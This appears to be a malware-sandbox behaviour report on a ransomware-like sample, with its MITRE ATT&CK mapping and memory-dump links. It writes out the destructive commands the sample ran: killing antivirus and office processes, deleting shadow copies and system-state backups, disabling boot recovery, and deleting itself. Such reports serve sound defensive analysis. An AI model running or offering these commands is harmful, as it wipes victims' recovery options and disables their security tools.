taskkill /f /im thunderbird.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3788

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im visio.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3812

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im winword.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3836

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im wordpad.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3860

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im xfssvccon.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3884

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im tmlisten.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3908

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im PccNTMon.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3932

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im CNTAoSMgr.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3956

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Ntrtscan.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3980

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mbamtray.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4004

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Cmd.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4028

C:\Windows\system32\vssadmin.exe
vssadmin Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:4052

C:\Windows\system32\vssadmin.exe
vssadmin Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:3264

C:\Windows\system32\bcdedit.exe
bcdedit.exe /set {default} recoveryenabled No
2⤵
- Modifies boot configuration data using bcdedit
PID:3352

C:\Windows\system32\bcdedit.exe
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
2⤵
- Modifies boot configuration data using bcdedit
PID:3372

C:\Windows\system32\wbadmin.exe
wbadmin DELETE SYSTEMSTATEBACKUP
2⤵
- Deletes System State backups
- Drops file in Windows directory
PID:3388

C:\Windows\system32\wbadmin.exe
wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
2⤵
- Deletes System State backups
- Drops file in Windows directory
PID:3468

C:\Windows\System32\Wbem\wmic.exe
wmic.exe SHADOWCOPY DELETE /nointeractive
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3520

C:\Windows\SysWOW64\Cmd.exe
Cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe"
2⤵
- Deletes itself
PID:3820

C:\Windows\SysWOW64\PING.EXE
ping 1.1.1.1 -n 1 -w 3000
3⤵
- Runs ping.exe
PID:3844

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3076

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

1

T1059

Persistence

Privilege Escalation

Defense Evasion

File Deletion

3

T1107

Credential Access

Discovery

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

4

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/112-60-0x0000000000000000-mapping.dmp

Download
memory/396-108-0x0000000000000000-mapping.dmp

Download
memory/436-65-0x0000000000000000-mapping.dmp

Download
memory/472-103-0x0000000000000000-mapping.dmp

Download
memory/484-104-0x0000000000000000-mapping.dmp

Download
memory/524-82-0x0000000000000000-mapping.dmp

Download
memory/544-55-0x0000000000000000-mapping.dmp

Download
memory/544-117-0x0000000000000000-mapping.dmp

Download
memory/580-81-0x0000000000000000-mapping.dmp

Download
memory/584-105-0x0000000000000000-mapping.dmp

Download
memory/584-85-0x0000000000000000-mapping.dmp

Download
memory/588-102-0x0000000000000000-mapping.dmp

Download
memory/596-56-0x0000000000000000-mapping.dmp

Download
memory/632-71-0x0000000000000000-mapping.dmp

Download
memory/688-62-0x0000000000000000-mapping.dmp

Download
memory/756-83-0x0000000000000000-mapping.dmp

Download
memory/756-57-0x0000000000000000-mapping.dmp

Download
memory/840-74-0x0000000000000000-mapping.dmp

Download
memory/844-93-0x0000000000000000-mapping.dmp

Download
memory/864-87-0x0000000000000000-mapping.dmp

Download
memory/880-86-0x0000000000000000-mapping.dmp

Download
memory/900-63-0x0000000000000000-mapping.dmp

Download
memory/900-88-0x0000000000000000-mapping.dmp

Download
memory/984-100-0x0000000000000000-mapping.dmp

Download
memory/988-89-0x0000000000000000-mapping.dmp

Download
memory/1028-95-0x0000000000000000-mapping.dmp

Download
memory/1056-109-0x0000000000000000-mapping.dmp

Download
memory/1080-115-0x0000000000000000-mapping.dmp

Download
memory/1096-73-0x0000000000000000-mapping.dmp

Download
memory/1108-75-0x0000000000000000-mapping.dmp

Download
memory/1108-97-0x0000000000000000-mapping.dmp

Download
memory/1120-90-0x0000000000000000-mapping.dmp

Download
memory/1156-78-0x0000000000000000-mapping.dmp

Download
memory/1184-113-0x0000000000000000-mapping.dmp

Download
memory/1216-67-0x0000000000000000-mapping.dmp

Download
memory/1228-72-0x0000000000000000-mapping.dmp

Download
memory/1240-58-0x0000000000000000-mapping.dmp

Download
memory/1268-94-0x0000000000000000-mapping.dmp

Download
memory/1328-68-0x0000000000000000-mapping.dmp

Download
memory/1352-76-0x0000000000000000-mapping.dmp

Download
memory/1376-116-0x0000000000000000-mapping.dmp

Download
memory/1380-84-0x0000000000000000-mapping.dmp

Download
memory/1492-59-0x0000000000000000-mapping.dmp

Download
memory/1500-99-0x0000000000000000-mapping.dmp

Download
memory/1612-79-0x0000000000000000-mapping.dmp

Download
memory/1616-80-0x0000000000000000-mapping.dmp

Download
memory/1628-96-0x0000000000000000-mapping.dmp

Download
memory/1700-114-0x0000000000000000-mapping.dmp

Download
memory/1704-101-0x0000000000000000-mapping.dmp

Download
memory/1712-98-0x0000000000000000-mapping.dmp

Download
memory/1752-70-0x0000000000000000-mapping.dmp

Download
memory/1756-92-0x0000000000000000-mapping.dmp

Download
memory/1812-66-0x0000000000000000-mapping.dmp

Download
memory/1824-110-0x0000000000000000-mapping.dmp

Download
memory/1824-91-0x0000000000000000-mapping.dmp

Download
memory/1832-64-0x0000000000000000-mapping.dmp

Download
memory/1852-61-0x0000000000000000-mapping.dmp

Download
memory/1852-106-0x0000000000000000-mapping.dmp

Download
memory/1856-107-0x0000000000000000-mapping.dmp

Download
memory/1904-112-0x0000000000000000-mapping.dmp

Download
memory/1904-69-0x0000000000000000-mapping.dmp

Download
memory/1912-54-0x0000000000000000-mapping.dmp

Download
memory/1964-77-0x0000000000000000-mapping.dmp

Download
memory/2024-111-0x0000000000000000-mapping.dmp

Download
memory/3388-118-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

Filesize
8KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads